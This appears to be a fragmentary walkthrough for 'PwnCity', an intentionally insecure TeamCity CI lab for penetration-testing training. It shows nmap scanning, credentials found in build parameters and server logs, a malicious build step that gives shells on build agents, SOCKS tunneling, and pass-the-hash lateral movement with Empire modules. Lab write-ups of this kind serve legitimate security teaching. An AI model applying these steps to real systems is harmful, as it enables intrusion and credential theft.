
Insecure TeamCity CI environment for hands-on penetration testing training: reconnaissance, credential theft, privilege escalation, and lateral movement.
An insecurely configured TeamCity continuous integration environment.
Work in progress: Deployment code coming soon eventually .

There may be more than one path through PwnCity, but this is the one I'll be presenting on Feb 24th at the OWASP Sacramento Chapter meeting.
Note: Operational security is largely ignored here since this is a demo.
nmap -Pn -p- 52.234.0.18.
nmap 52.234.0.18 makes it seem dead.nmap -Pn 52.234.0.18.


bob, password bobhacks?.
bob navigate to Projects > SimpleMavenSample > Build > SettingsParameters contains credentials.

ssh [email protected], and ssh in as low privileged user.

We could tunnel from our initial foothold. Knowing that RDP is open on two build agents would allow us to attempt to authenticate via the creds we've found...but that's not as fun.
cat /home/dev/TeamCity/TeamCity/logs/teamcity-server.log | grep "Super user".

Administration > Projects > Create project, and get a shell on the build agents.

cmd.exe/c %system.teamcity.build.checkoutDir%/launcher.bat
Credentials chosen from rockyou.txt.
PwnAgent01 has Microsoft Defender enabled. Although it's certainly still possible to defeat this, the malicious build step we demonstrated will be blocked.



This section is just a collection of snippets that were useful when administering the lab environment.
TeamCity host to access local resources ssh -D 9050 [email protected].proxychains4 xfreerdp /u:dev /v:10.0.0.6:3389.
... next to Run on the menu, and then on the desired agent you're targeting. If all goes well you'll have an agent call back.

powershell/situational_awareness/network/portscan module. Discover that 10.0.0.7 has 3389,445,139,135 all open.

bruno's password.powershell/lateral_movement/invoke_smbexec to get beacon on Bruno-PC via NTML hash.
